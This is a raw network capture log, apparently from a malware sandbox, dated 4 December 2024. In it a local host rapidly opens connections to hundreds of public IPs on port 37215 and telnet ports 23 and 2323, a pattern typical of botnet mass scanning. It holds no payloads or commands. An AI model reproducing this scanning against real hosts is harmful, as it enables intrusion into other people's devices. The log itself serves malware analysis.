Dec 4, 2024 20:34:36.928252935 CET	60275	37215	192.168.2.14	156.11.133.215
Dec 4, 2024 20:34:36.928268909 CET	60275	37215	192.168.2.14	41.148.50.232
Dec 4, 2024 20:34:36.928275108 CET	60275	37215	192.168.2.14	156.32.103.111
Dec 4, 2024 20:34:36.928277016 CET	60275	37215	192.168.2.14	197.90.248.123
Dec 4, 2024 20:34:36.928282022 CET	60275	37215	192.168.2.14	41.151.61.112
Dec 4, 2024 20:34:36.928283930 CET	60275	37215	192.168.2.14	197.190.113.237
Dec 4, 2024 20:34:36.928284883 CET	60275	37215	192.168.2.14	156.55.13.99
Dec 4, 2024 20:34:36.928283930 CET	60275	37215	192.168.2.14	197.128.18.78
Dec 4, 2024 20:34:36.928284883 CET	60275	37215	192.168.2.14	197.83.23.142
Dec 4, 2024 20:34:36.928283930 CET	60275	37215	192.168.2.14	156.32.144.143
Dec 4, 2024 20:34:36.928283930 CET	60275	37215	192.168.2.14	41.142.151.167
Dec 4, 2024 20:34:36.928283930 CET	60275	37215	192.168.2.14	156.85.72.143
Dec 4, 2024 20:34:36.928283930 CET	60275	37215	192.168.2.14	197.245.72.42
Dec 4, 2024 20:34:36.928297997 CET	60275	37215	192.168.2.14	156.226.120.120
Dec 4, 2024 20:34:36.928297997 CET	60275	37215	192.168.2.14	156.164.222.25
Dec 4, 2024 20:34:36.928313971 CET	60275	37215	192.168.2.14	156.80.67.237
Dec 4, 2024 20:34:36.928313971 CET	60275	37215	192.168.2.14	41.13.139.79
Dec 4, 2024 20:34:36.928318977 CET	60275	37215	192.168.2.14	197.211.122.117
Dec 4, 2024 20:34:36.928328991 CET	60275	37215	192.168.2.14	41.142.231.13
Dec 4, 2024 20:34:36.928319931 CET	60275	37215	192.168.2.14	197.155.83.186
Dec 4, 2024 20:34:36.928342104 CET	60275	37215	192.168.2.14	197.131.160.181
Dec 4, 2024 20:34:36.928342104 CET	60275	37215	192.168.2.14	156.182.177.184
Dec 4, 2024 20:34:36.928342104 CET	60275	37215	192.168.2.14	156.49.2.4
Dec 4, 2024 20:34:36.928344965 CET	60275	37215	192.168.2.14	41.107.182.11
Dec 4, 2024 20:34:36.928345919 CET	60275	37215	192.168.2.14	197.83.51.45
Dec 4, 2024 20:34:36.928348064 CET	60275	37215	192.168.2.14	197.202.55.202
Dec 4, 2024 20:34:36.928347111 CET	60275	37215	192.168.2.14	41.180.35.193
Dec 4, 2024 20:34:36.928369045 CET	60275	37215	192.168.2.14	156.90.91.13
Dec 4, 2024 20:34:36.928369999 CET	60275	37215	192.168.2.14	156.27.174.62
Dec 4, 2024 20:34:36.928375006 CET	60275	37215	192.168.2.14	41.249.206.213
Dec 4, 2024 20:34:36.928380013 CET	60275	37215	192.168.2.14	41.13.15.212
Dec 4, 2024 20:34:36.928380966 CET	60275	37215	192.168.2.14	197.230.129.210
Dec 4, 2024 20:34:36.928414106 CET	60275	37215	192.168.2.14	41.231.173.14
Dec 4, 2024 20:34:36.928420067 CET	60275	37215	192.168.2.14	197.134.131.0
Dec 4, 2024 20:34:36.928426981 CET	60275	37215	192.168.2.14	156.42.79.83
Dec 4, 2024 20:34:36.928426981 CET	60275	37215	192.168.2.14	41.130.134.92
Dec 4, 2024 20:34:36.928426981 CET	60275	37215	192.168.2.14	156.80.112.85
Dec 4, 2024 20:34:36.928426981 CET	60275	37215	192.168.2.14	197.115.153.207
Dec 4, 2024 20:34:36.928450108 CET	60275	37215	192.168.2.14	197.87.95.32
Dec 4, 2024 20:34:36.928450108 CET	60275	37215	192.168.2.14	156.99.36.5
Dec 4, 2024 20:34:36.928455114 CET	60275	37215	192.168.2.14	41.225.26.138
Dec 4, 2024 20:34:36.928455114 CET	60275	37215	192.168.2.14	41.232.56.73
Dec 4, 2024 20:34:36.928455114 CET	60275	37215	192.168.2.14	41.96.137.191
Dec 4, 2024 20:34:36.928455114 CET	60275	37215	192.168.2.14	41.188.18.1
Dec 4, 2024 20:34:36.928456068 CET	60275	37215	192.168.2.14	41.161.240.159
Dec 4, 2024 20:34:36.928455114 CET	60275	37215	192.168.2.14	156.238.88.77
Dec 4, 2024 20:34:36.928456068 CET	60275	37215	192.168.2.14	41.3.6.72
Dec 4, 2024 20:34:36.928456068 CET	60275	37215	192.168.2.14	41.124.98.158
Dec 4, 2024 20:34:36.928459883 CET	60275	37215	192.168.2.14	197.170.66.141
Dec 4, 2024 20:34:36.928456068 CET	60275	37215	192.168.2.14	156.152.146.242
Dec 4, 2024 20:34:36.928462029 CET	60275	37215	192.168.2.14	41.219.56.22
Dec 4, 2024 20:34:36.928461075 CET	60275	37215	192.168.2.14	197.79.102.165
Dec 4, 2024 20:34:36.928456068 CET	60275	37215	192.168.2.14	156.147.242.205
Dec 4, 2024 20:34:36.928462029 CET	60275	37215	192.168.2.14	41.52.138.216
Dec 4, 2024 20:34:36.928461075 CET	60275	37215	192.168.2.14	41.218.231.193
Dec 4, 2024 20:34:36.928456068 CET	60275	37215	192.168.2.14	156.169.50.70
Dec 4, 2024 20:34:36.928459883 CET	60275	37215	192.168.2.14	197.126.248.112
Dec 4, 2024 20:34:36.928450108 CET	60275	37215	192.168.2.14	41.213.138.49
Dec 4, 2024 20:34:36.928461075 CET	60275	37215	192.168.2.14	41.189.144.145
Dec 4, 2024 20:34:36.928456068 CET	60275	37215	192.168.2.14	197.53.7.237
Dec 4, 2024 20:34:36.928459883 CET	60275	37215	192.168.2.14	156.231.119.238
Dec 4, 2024 20:34:36.928462029 CET	60275	37215	192.168.2.14	156.140.246.46
Dec 4, 2024 20:34:36.928462029 CET	60275	37215	192.168.2.14	41.100.212.27
Dec 4, 2024 20:34:36.928459883 CET	60275	37215	192.168.2.14	156.209.139.168
Dec 4, 2024 20:34:36.928450108 CET	60275	37215	192.168.2.14	156.65.244.223
Dec 4, 2024 20:34:36.928462029 CET	60275	37215	192.168.2.14	156.15.142.165
Dec 4, 2024 20:34:36.928467035 CET	60275	37215	192.168.2.14	41.128.12.126
Dec 4, 2024 20:34:36.928456068 CET	60275	37215	192.168.2.14	156.143.189.178
Dec 4, 2024 20:34:36.928462029 CET	60275	37215	192.168.2.14	156.134.227.252
Dec 4, 2024 20:34:36.928467035 CET	60275	37215	192.168.2.14	197.211.255.227
Dec 4, 2024 20:34:36.928462029 CET	60275	37215	192.168.2.14	197.36.141.157
Dec 4, 2024 20:34:36.928462029 CET	60275	37215	192.168.2.14	41.34.48.100
Dec 4, 2024 20:34:36.928467035 CET	60275	37215	192.168.2.14	41.232.62.45
Dec 4, 2024 20:34:36.928462029 CET	60275	37215	192.168.2.14	197.28.182.73
Dec 4, 2024 20:34:36.928462029 CET	60275	37215	192.168.2.14	156.225.112.33
Dec 4, 2024 20:34:36.928467035 CET	60275	37215	192.168.2.14	197.199.39.30
Dec 4, 2024 20:34:36.928462029 CET	60275	37215	192.168.2.14	41.177.7.149
Dec 4, 2024 20:34:36.928467035 CET	60275	37215	192.168.2.14	197.22.92.36
Dec 4, 2024 20:34:36.928462029 CET	60275	37215	192.168.2.14	197.74.241.47
Dec 4, 2024 20:34:36.928467035 CET	60275	37215	192.168.2.14	41.156.240.177
Dec 4, 2024 20:34:36.928467035 CET	60275	37215	192.168.2.14	41.29.220.242
Dec 4, 2024 20:34:36.928492069 CET	60275	37215	192.168.2.14	197.208.8.34
Dec 4, 2024 20:34:36.928493977 CET	60275	37215	192.168.2.14	156.203.97.179
Dec 4, 2024 20:34:36.928508043 CET	60275	37215	192.168.2.14	197.210.22.44
Dec 4, 2024 20:34:36.928508043 CET	60275	37215	192.168.2.14	197.250.128.218
Dec 4, 2024 20:34:36.928508997 CET	60275	37215	192.168.2.14	197.113.117.103
Dec 4, 2024 20:34:36.928536892 CET	37215	55680	197.107.186.146	192.168.2.14
Dec 4, 2024 20:34:36.928548098 CET	37215	34114	41.125.57.226	192.168.2.14
Dec 4, 2024 20:34:36.928591967 CET	37215	42356	41.191.169.69	192.168.2.14
Dec 4, 2024 20:34:36.928591967 CET	34114	37215	192.168.2.14	41.125.57.226
Dec 4, 2024 20:34:36.928595066 CET	48806	37215	192.168.2.14	156.197.175.158
Dec 4, 2024 20:34:36.928606987 CET	37215	36610	197.212.128.183	192.168.2.14
Dec 4, 2024 20:34:36.928611040 CET	48806	37215	192.168.2.14	156.197.175.158
Dec 4, 2024 20:34:36.928611994 CET	37215	57522	156.125.121.36	192.168.2.14
Dec 4, 2024 20:34:36.928626060 CET	37215	39522	156.26.60.186	192.168.2.14
Dec 4, 2024 20:34:36.928637028 CET	55680	37215	192.168.2.14	197.107.186.146
Dec 4, 2024 20:34:36.928642035 CET	42356	37215	192.168.2.14	41.191.169.69
Dec 4, 2024 20:34:36.928644896 CET	36610	37215	192.168.2.14	197.212.128.183
Dec 4, 2024 20:34:36.928646088 CET	57522	37215	192.168.2.14	156.125.121.36
Dec 4, 2024 20:34:36.928658962 CET	39522	37215	192.168.2.14	156.26.60.186
Dec 4, 2024 20:34:36.928663969 CET	37215	49264	41.209.252.161	192.168.2.14
Dec 4, 2024 20:34:36.928674936 CET	37215	51508	41.137.76.138	192.168.2.14
Dec 4, 2024 20:34:36.928685904 CET	37215	46924	197.171.113.254	192.168.2.14
Dec 4, 2024 20:34:36.928702116 CET	49264	37215	192.168.2.14	41.209.252.161
Dec 4, 2024 20:34:36.928703070 CET	51508	37215	192.168.2.14	41.137.76.138
Dec 4, 2024 20:34:36.928715944 CET	46924	37215	192.168.2.14	197.171.113.254
Dec 4, 2024 20:34:36.928729057 CET	37215	45674	197.57.80.139	192.168.2.14
Dec 4, 2024 20:34:36.928741932 CET	37215	56220	156.251.83.218	192.168.2.14
Dec 4, 2024 20:34:36.928760052 CET	37215	45720	156.235.86.196	192.168.2.14
Dec 4, 2024 20:34:36.928767920 CET	45674	37215	192.168.2.14	197.57.80.139
Dec 4, 2024 20:34:36.928767920 CET	56220	37215	192.168.2.14	156.251.83.218
Dec 4, 2024 20:34:36.928778887 CET	37215	52758	41.69.3.230	192.168.2.14
Dec 4, 2024 20:34:36.928790092 CET	37215	56452	41.70.211.68	192.168.2.14
Dec 4, 2024 20:34:36.928808928 CET	45720	37215	192.168.2.14	156.235.86.196
Dec 4, 2024 20:34:36.928823948 CET	52758	37215	192.168.2.14	41.69.3.230
Dec 4, 2024 20:34:36.928823948 CET	56452	37215	192.168.2.14	41.70.211.68
Dec 4, 2024 20:34:36.928849936 CET	23	40052	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:36.928863049 CET	23	40058	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:36.928872108 CET	23	42786	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:36.928880930 CET	23	42792	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:36.928913116 CET	40058	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:36.928916931 CET	42792	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:36.928999901 CET	60787	23	192.168.2.14	178.220.150.208
Dec 4, 2024 20:34:36.929002047 CET	60787	23	192.168.2.14	142.45.146.189
Dec 4, 2024 20:34:36.929003000 CET	60787	2323	192.168.2.14	217.239.171.189
Dec 4, 2024 20:34:36.929006100 CET	60787	23	192.168.2.14	160.230.198.119
Dec 4, 2024 20:34:36.929008961 CET	60787	23	192.168.2.14	35.100.171.67
Dec 4, 2024 20:34:36.929013968 CET	60787	23	192.168.2.14	53.156.52.166
Dec 4, 2024 20:34:36.929017067 CET	60787	23	192.168.2.14	17.20.51.87
Dec 4, 2024 20:34:36.929018974 CET	60787	23	192.168.2.14	154.164.122.221
Dec 4, 2024 20:34:36.929018974 CET	60787	23	192.168.2.14	53.192.28.1
Dec 4, 2024 20:34:36.929023981 CET	60787	23	192.168.2.14	145.197.14.250
Dec 4, 2024 20:34:36.929024935 CET	60787	23	192.168.2.14	210.103.214.79
Dec 4, 2024 20:34:36.929023981 CET	60787	23	192.168.2.14	9.241.72.128
Dec 4, 2024 20:34:36.929023981 CET	60787	23	192.168.2.14	168.221.179.242
Dec 4, 2024 20:34:36.929033041 CET	60787	2323	192.168.2.14	171.63.227.199
Dec 4, 2024 20:34:36.929033041 CET	60787	23	192.168.2.14	198.66.238.43
Dec 4, 2024 20:34:36.929054976 CET	60787	23	192.168.2.14	79.209.8.150
Dec 4, 2024 20:34:36.929063082 CET	60787	23	192.168.2.14	102.212.205.89
Dec 4, 2024 20:34:36.929066896 CET	60787	23	192.168.2.14	162.2.194.199
Dec 4, 2024 20:34:36.929066896 CET	60787	23	192.168.2.14	80.244.85.24
Dec 4, 2024 20:34:36.929070950 CET	60787	2323	192.168.2.14	86.220.77.210
Dec 4, 2024 20:34:36.929085970 CET	60787	23	192.168.2.14	148.111.19.81
Dec 4, 2024 20:34:36.929086924 CET	60787	23	192.168.2.14	147.155.173.61
Dec 4, 2024 20:34:36.929086924 CET	60787	23	192.168.2.14	189.252.33.223
Dec 4, 2024 20:34:36.929088116 CET	60787	23	192.168.2.14	218.17.16.113
Dec 4, 2024 20:34:36.929088116 CET	60787	23	192.168.2.14	209.135.79.81
Dec 4, 2024 20:34:36.929088116 CET	60787	2323	192.168.2.14	163.5.244.205
Dec 4, 2024 20:34:36.929088116 CET	60787	23	192.168.2.14	86.202.246.127
Dec 4, 2024 20:34:36.929090977 CET	60787	23	192.168.2.14	206.190.141.177
Dec 4, 2024 20:34:36.929090977 CET	60787	23	192.168.2.14	192.31.184.155
Dec 4, 2024 20:34:36.929105043 CET	60787	23	192.168.2.14	179.16.73.248
Dec 4, 2024 20:34:36.929105043 CET	60787	23	192.168.2.14	84.153.135.142
Dec 4, 2024 20:34:36.929105043 CET	60787	23	192.168.2.14	116.46.224.218
Dec 4, 2024 20:34:36.929105043 CET	60787	23	192.168.2.14	76.149.184.41
Dec 4, 2024 20:34:36.929105043 CET	60787	23	192.168.2.14	31.41.0.218
Dec 4, 2024 20:34:36.929105043 CET	60787	23	192.168.2.14	120.133.198.13
Dec 4, 2024 20:34:36.929109097 CET	60787	23	192.168.2.14	121.84.41.139
Dec 4, 2024 20:34:36.929105043 CET	60787	23	192.168.2.14	92.231.134.168
Dec 4, 2024 20:34:36.929109097 CET	60787	23	192.168.2.14	221.64.98.173
Dec 4, 2024 20:34:36.929117918 CET	60787	23	192.168.2.14	40.24.177.65
Dec 4, 2024 20:34:36.929117918 CET	60787	23	192.168.2.14	83.182.56.236
Dec 4, 2024 20:34:36.929117918 CET	60787	23	192.168.2.14	102.191.87.3
Dec 4, 2024 20:34:36.929120064 CET	60787	23	192.168.2.14	44.88.245.206
Dec 4, 2024 20:34:36.929120064 CET	60787	2323	192.168.2.14	184.57.86.173
Dec 4, 2024 20:34:36.929121017 CET	49018	37215	192.168.2.14	156.197.175.158
Dec 4, 2024 20:34:36.929121971 CET	60787	23	192.168.2.14	196.58.101.138
Dec 4, 2024 20:34:36.929121017 CET	60787	23	192.168.2.14	148.89.207.139
Dec 4, 2024 20:34:36.929121017 CET	60787	23	192.168.2.14	211.227.124.7
Dec 4, 2024 20:34:36.929122925 CET	60787	2323	192.168.2.14	58.20.253.253
Dec 4, 2024 20:34:36.929122925 CET	60787	23	192.168.2.14	146.113.35.199
Dec 4, 2024 20:34:36.929122925 CET	60787	2323	192.168.2.14	154.113.62.247
Dec 4, 2024 20:34:36.929126024 CET	60787	23	192.168.2.14	177.62.151.62
Dec 4, 2024 20:34:36.929126024 CET	60787	23	192.168.2.14	184.215.59.121
Dec 4, 2024 20:34:36.929131985 CET	60787	23	192.168.2.14	19.241.178.186
Dec 4, 2024 20:34:36.929131985 CET	60787	23	192.168.2.14	103.224.181.253
Dec 4, 2024 20:34:36.929135084 CET	60787	23	192.168.2.14	182.133.207.59
Dec 4, 2024 20:34:36.929138899 CET	60787	23	192.168.2.14	213.219.12.84
Dec 4, 2024 20:34:36.929140091 CET	60787	23	192.168.2.14	59.177.244.196
Dec 4, 2024 20:34:36.929145098 CET	60787	23	192.168.2.14	186.251.121.27
Dec 4, 2024 20:34:36.929145098 CET	60787	23	192.168.2.14	74.64.50.210
Dec 4, 2024 20:34:36.929145098 CET	60787	23	192.168.2.14	181.57.128.108
Dec 4, 2024 20:34:36.929147005 CET	60787	23	192.168.2.14	193.210.153.88
Dec 4, 2024 20:34:36.929148912 CET	60787	23	192.168.2.14	172.78.149.98
Dec 4, 2024 20:34:36.929150105 CET	60787	2323	192.168.2.14	88.72.139.127
Dec 4, 2024 20:34:36.929148912 CET	60787	23	192.168.2.14	78.51.55.159
Dec 4, 2024 20:34:36.929151058 CET	23	33374	80.41.28.38	192.168.2.14
Dec 4, 2024 20:34:36.929150105 CET	60787	23	192.168.2.14	144.254.197.37
Dec 4, 2024 20:34:36.929148912 CET	60787	23	192.168.2.14	101.20.138.208
Dec 4, 2024 20:34:36.929148912 CET	60787	23	192.168.2.14	58.89.142.33
Dec 4, 2024 20:34:36.929162025 CET	60787	23	192.168.2.14	158.201.213.230
Dec 4, 2024 20:34:36.929162979 CET	60787	23	192.168.2.14	161.107.133.254
Dec 4, 2024 20:34:36.929164886 CET	23	33380	80.41.28.38	192.168.2.14
Dec 4, 2024 20:34:36.929167986 CET	60787	23	192.168.2.14	135.244.166.189
Dec 4, 2024 20:34:36.929176092 CET	60787	23	192.168.2.14	189.24.184.4
Dec 4, 2024 20:34:36.929176092 CET	60787	23	192.168.2.14	221.244.210.10
Dec 4, 2024 20:34:36.929176092 CET	60787	23	192.168.2.14	95.34.163.98
Dec 4, 2024 20:34:36.929176092 CET	60787	23	192.168.2.14	211.149.72.70
Dec 4, 2024 20:34:36.929176092 CET	60787	23	192.168.2.14	170.180.207.235
Dec 4, 2024 20:34:36.929176092 CET	60787	23	192.168.2.14	95.187.176.35
Dec 4, 2024 20:34:36.929176092 CET	60787	23	192.168.2.14	79.183.69.131
Dec 4, 2024 20:34:36.929176092 CET	60787	23	192.168.2.14	73.233.41.208
Dec 4, 2024 20:34:36.929183960 CET	60787	23	192.168.2.14	86.195.73.120
Dec 4, 2024 20:34:36.929203987 CET	60787	23	192.168.2.14	58.148.128.71
Dec 4, 2024 20:34:36.929204941 CET	60787	23	192.168.2.14	87.1.155.115
Dec 4, 2024 20:34:36.929204941 CET	60787	23	192.168.2.14	109.182.217.12
Dec 4, 2024 20:34:36.929207087 CET	60787	2323	192.168.2.14	119.82.23.219
Dec 4, 2024 20:34:36.929217100 CET	60787	23	192.168.2.14	34.44.226.8
Dec 4, 2024 20:34:36.929222107 CET	60787	23	192.168.2.14	192.253.170.57
Dec 4, 2024 20:34:36.929224014 CET	60787	23	192.168.2.14	27.254.236.139
Dec 4, 2024 20:34:36.929224968 CET	33380	23	192.168.2.14	80.41.28.38
Dec 4, 2024 20:34:36.929230928 CET	60787	23	192.168.2.14	67.86.164.22
Dec 4, 2024 20:34:36.929230928 CET	60787	23	192.168.2.14	79.104.43.78
Dec 4, 2024 20:34:36.929240942 CET	60787	23	192.168.2.14	170.140.45.28
Dec 4, 2024 20:34:36.929240942 CET	60787	2323	192.168.2.14	53.104.51.14
Dec 4, 2024 20:34:36.929243088 CET	60787	23	192.168.2.14	80.193.103.87
Dec 4, 2024 20:34:36.929243088 CET	60787	23	192.168.2.14	105.171.188.205
Dec 4, 2024 20:34:36.929243088 CET	60787	23	192.168.2.14	17.43.57.70
Dec 4, 2024 20:34:36.929245949 CET	60787	23	192.168.2.14	187.28.169.79
Dec 4, 2024 20:34:36.929246902 CET	60787	23	192.168.2.14	198.238.32.26
Dec 4, 2024 20:34:36.929253101 CET	60787	23	192.168.2.14	133.13.182.77
Dec 4, 2024 20:34:36.929255009 CET	60787	23	192.168.2.14	181.72.56.58
Dec 4, 2024 20:34:36.929255009 CET	60787	23	192.168.2.14	221.167.237.229
Dec 4, 2024 20:34:36.929255009 CET	60787	2323	192.168.2.14	115.111.237.160
Dec 4, 2024 20:34:36.929255009 CET	60787	23	192.168.2.14	184.236.152.172
Dec 4, 2024 20:34:36.929258108 CET	60787	23	192.168.2.14	175.23.25.122
Dec 4, 2024 20:34:36.929260015 CET	60787	23	192.168.2.14	155.232.131.155
Dec 4, 2024 20:34:36.929260015 CET	60787	23	192.168.2.14	98.244.70.167
Dec 4, 2024 20:34:36.929263115 CET	60787	23	192.168.2.14	135.142.193.248
Dec 4, 2024 20:34:36.929270983 CET	60787	23	192.168.2.14	79.113.210.26
Dec 4, 2024 20:34:36.929272890 CET	60787	23	192.168.2.14	106.161.200.88
Dec 4, 2024 20:34:36.929272890 CET	60787	23	192.168.2.14	40.128.219.133
Dec 4, 2024 20:34:36.929277897 CET	60787	23	192.168.2.14	159.149.156.91
Dec 4, 2024 20:34:36.929285049 CET	60787	23	192.168.2.14	13.67.166.247
Dec 4, 2024 20:34:36.929325104 CET	60787	23	192.168.2.14	57.29.109.218
Dec 4, 2024 20:34:36.929327965 CET	60787	2323	192.168.2.14	210.95.97.17
Dec 4, 2024 20:34:36.929327965 CET	60787	23	192.168.2.14	101.131.246.66
Dec 4, 2024 20:34:36.929327965 CET	60787	23	192.168.2.14	203.68.242.186
Dec 4, 2024 20:34:36.929332018 CET	60787	23	192.168.2.14	106.95.242.216
Dec 4, 2024 20:34:36.929332018 CET	60787	23	192.168.2.14	27.8.30.219
Dec 4, 2024 20:34:36.929332018 CET	60787	23	192.168.2.14	172.67.172.232
Dec 4, 2024 20:34:36.929332018 CET	60787	23	192.168.2.14	157.231.193.246
Dec 4, 2024 20:34:36.929332018 CET	60787	23	192.168.2.14	24.37.244.87
Dec 4, 2024 20:34:36.929332972 CET	60787	23	192.168.2.14	108.170.66.40
Dec 4, 2024 20:34:36.929332972 CET	60787	23	192.168.2.14	179.187.5.93
Dec 4, 2024 20:34:36.929332972 CET	60787	23	192.168.2.14	159.216.97.31
Dec 4, 2024 20:34:36.929353952 CET	60787	23	192.168.2.14	156.121.160.18
Dec 4, 2024 20:34:36.929354906 CET	60787	23	192.168.2.14	208.144.98.101
Dec 4, 2024 20:34:36.929358959 CET	60787	2323	192.168.2.14	218.232.131.125
Dec 4, 2024 20:34:36.929359913 CET	60787	23	192.168.2.14	197.89.147.89
Dec 4, 2024 20:34:36.929359913 CET	60787	23	192.168.2.14	197.95.143.196
Dec 4, 2024 20:34:36.929359913 CET	60787	23	192.168.2.14	90.176.94.246
Dec 4, 2024 20:34:36.929359913 CET	60787	23	192.168.2.14	34.54.52.93
Dec 4, 2024 20:34:36.929361105 CET	60787	23	192.168.2.14	140.244.168.36
Dec 4, 2024 20:34:36.929361105 CET	60787	2323	192.168.2.14	135.115.242.101
Dec 4, 2024 20:34:36.929361105 CET	60787	23	192.168.2.14	179.57.57.109
Dec 4, 2024 20:34:36.929361105 CET	60787	23	192.168.2.14	160.0.118.54
Dec 4, 2024 20:34:36.929363012 CET	60787	23	192.168.2.14	20.213.224.97
Dec 4, 2024 20:34:36.929363012 CET	60787	23	192.168.2.14	179.156.108.155
Dec 4, 2024 20:34:36.929363012 CET	60787	23	192.168.2.14	121.109.202.217
Dec 4, 2024 20:34:36.929372072 CET	60787	23	192.168.2.14	96.229.18.46
Dec 4, 2024 20:34:36.929368019 CET	60787	23	192.168.2.14	185.176.61.6
Dec 4, 2024 20:34:36.929368019 CET	60787	23	192.168.2.14	168.105.78.7
Dec 4, 2024 20:34:36.929374933 CET	60787	23	192.168.2.14	205.175.188.75
Dec 4, 2024 20:34:36.929374933 CET	60787	23	192.168.2.14	113.115.244.192
Dec 4, 2024 20:34:36.929375887 CET	60787	23	192.168.2.14	108.169.245.92
Dec 4, 2024 20:34:36.929374933 CET	60787	23	192.168.2.14	46.78.224.255
Dec 4, 2024 20:34:36.929378033 CET	60787	23	192.168.2.14	110.113.60.144
Dec 4, 2024 20:34:36.929374933 CET	60787	23	192.168.2.14	219.47.7.176
Dec 4, 2024 20:34:36.929374933 CET	60787	23	192.168.2.14	108.1.94.23
Dec 4, 2024 20:34:36.929379940 CET	60787	23	192.168.2.14	89.184.64.114
Dec 4, 2024 20:34:36.929383039 CET	60787	2323	192.168.2.14	17.29.10.166
Dec 4, 2024 20:34:36.929383039 CET	60787	23	192.168.2.14	98.159.218.62
Dec 4, 2024 20:34:36.929383039 CET	60787	23	192.168.2.14	48.237.179.227
Dec 4, 2024 20:34:36.929383039 CET	60787	2323	192.168.2.14	2.183.110.38
Dec 4, 2024 20:34:36.929385900 CET	60787	23	192.168.2.14	198.3.212.129
Dec 4, 2024 20:34:36.929383993 CET	60787	23	192.168.2.14	69.95.49.197
Dec 4, 2024 20:34:36.929383993 CET	60787	23	192.168.2.14	148.164.2.208
Dec 4, 2024 20:34:36.929383993 CET	60787	23	192.168.2.14	105.7.98.1
Dec 4, 2024 20:34:36.929390907 CET	60787	23	192.168.2.14	223.252.131.253
Dec 4, 2024 20:34:36.929394007 CET	60787	23	192.168.2.14	90.81.148.33
Dec 4, 2024 20:34:36.929394960 CET	60787	23	192.168.2.14	32.191.48.219
Dec 4, 2024 20:34:36.929395914 CET	60787	23	192.168.2.14	180.238.217.131
Dec 4, 2024 20:34:36.929392099 CET	60787	23	192.168.2.14	123.77.70.111
Dec 4, 2024 20:34:36.929392099 CET	60787	23	192.168.2.14	120.86.39.249
Dec 4, 2024 20:34:36.929399014 CET	60787	23	192.168.2.14	175.71.111.87
Dec 4, 2024 20:34:36.929560900 CET	48400	37215	192.168.2.14	197.240.225.40
Dec 4, 2024 20:34:36.929574013 CET	48400	37215	192.168.2.14	197.240.225.40
Dec 4, 2024 20:34:36.929835081 CET	48642	37215	192.168.2.14	197.240.225.40
Dec 4, 2024 20:34:36.930144072 CET	49386	37215	192.168.2.14	156.84.140.18
Dec 4, 2024 20:34:36.930144072 CET	49386	37215	192.168.2.14	156.84.140.18
Dec 4, 2024 20:34:36.930392027 CET	49628	37215	192.168.2.14	156.84.140.18
Dec 4, 2024 20:34:36.930763960 CET	56572	37215	192.168.2.14	156.226.100.188
Dec 4, 2024 20:34:36.930772066 CET	56572	37215	192.168.2.14	156.226.100.188
Dec 4, 2024 20:34:36.931085110 CET	56814	37215	192.168.2.14	156.226.100.188
Dec 4, 2024 20:34:36.931453943 CET	34186	37215	192.168.2.14	41.16.74.27
Dec 4, 2024 20:34:36.931474924 CET	34186	37215	192.168.2.14	41.16.74.27
Dec 4, 2024 20:34:36.931736946 CET	34424	37215	192.168.2.14	41.16.74.27
Dec 4, 2024 20:34:36.932045937 CET	35070	37215	192.168.2.14	41.124.245.197
Dec 4, 2024 20:34:36.932061911 CET	35070	37215	192.168.2.14	41.124.245.197
Dec 4, 2024 20:34:36.932323933 CET	35308	37215	192.168.2.14	41.124.245.197
Dec 4, 2024 20:34:36.932656050 CET	53906	37215	192.168.2.14	197.230.114.235
Dec 4, 2024 20:34:36.932656050 CET	53906	37215	192.168.2.14	197.230.114.235
Dec 4, 2024 20:34:36.932898998 CET	54144	37215	192.168.2.14	197.230.114.235
Dec 4, 2024 20:34:36.933437109 CET	41166	37215	192.168.2.14	41.33.244.153
Dec 4, 2024 20:34:36.933437109 CET	41166	37215	192.168.2.14	41.33.244.153
Dec 4, 2024 20:34:36.933695078 CET	41404	37215	192.168.2.14	41.33.244.153
Dec 4, 2024 20:34:36.934061050 CET	53676	37215	192.168.2.14	156.16.70.72
Dec 4, 2024 20:34:36.934061050 CET	53676	37215	192.168.2.14	156.16.70.72
Dec 4, 2024 20:34:36.934415102 CET	53914	37215	192.168.2.14	156.16.70.72
Dec 4, 2024 20:34:36.934770107 CET	57632	37215	192.168.2.14	197.54.193.91
Dec 4, 2024 20:34:36.934770107 CET	57632	37215	192.168.2.14	197.54.193.91
Dec 4, 2024 20:34:36.935038090 CET	57870	37215	192.168.2.14	197.54.193.91
Dec 4, 2024 20:34:36.935348988 CET	56284	37215	192.168.2.14	197.103.13.13
Dec 4, 2024 20:34:36.935364008 CET	56284	37215	192.168.2.14	197.103.13.13
Dec 4, 2024 20:34:36.935595989 CET	56522	37215	192.168.2.14	197.103.13.13
Dec 4, 2024 20:34:36.935921907 CET	53826	37215	192.168.2.14	156.73.55.186
Dec 4, 2024 20:34:36.935930967 CET	53826	37215	192.168.2.14	156.73.55.186
Dec 4, 2024 20:34:36.936167002 CET	54062	37215	192.168.2.14	156.73.55.186
Dec 4, 2024 20:34:36.936522961 CET	56220	37215	192.168.2.14	156.251.83.218
Dec 4, 2024 20:34:36.936522961 CET	56220	37215	192.168.2.14	156.251.83.218
Dec 4, 2024 20:34:36.936774969 CET	56508	37215	192.168.2.14	156.251.83.218
Dec 4, 2024 20:34:36.937093019 CET	45720	37215	192.168.2.14	156.235.86.196
Dec 4, 2024 20:34:36.937093019 CET	45720	37215	192.168.2.14	156.235.86.196
Dec 4, 2024 20:34:36.937333107 CET	46008	37215	192.168.2.14	156.235.86.196
Dec 4, 2024 20:34:36.937638044 CET	57522	37215	192.168.2.14	156.125.121.36
Dec 4, 2024 20:34:36.937638044 CET	57522	37215	192.168.2.14	156.125.121.36
Dec 4, 2024 20:34:36.937881947 CET	57810	37215	192.168.2.14	156.125.121.36
Dec 4, 2024 20:34:36.938186884 CET	45674	37215	192.168.2.14	197.57.80.139
Dec 4, 2024 20:34:36.938186884 CET	45674	37215	192.168.2.14	197.57.80.139
Dec 4, 2024 20:34:36.938462019 CET	45962	37215	192.168.2.14	197.57.80.139
Dec 4, 2024 20:34:36.938781023 CET	56452	37215	192.168.2.14	41.70.211.68
Dec 4, 2024 20:34:36.938781023 CET	56452	37215	192.168.2.14	41.70.211.68
Dec 4, 2024 20:34:36.939016104 CET	56740	37215	192.168.2.14	41.70.211.68
Dec 4, 2024 20:34:36.939322948 CET	51508	37215	192.168.2.14	41.137.76.138
Dec 4, 2024 20:34:36.939322948 CET	51508	37215	192.168.2.14	41.137.76.138
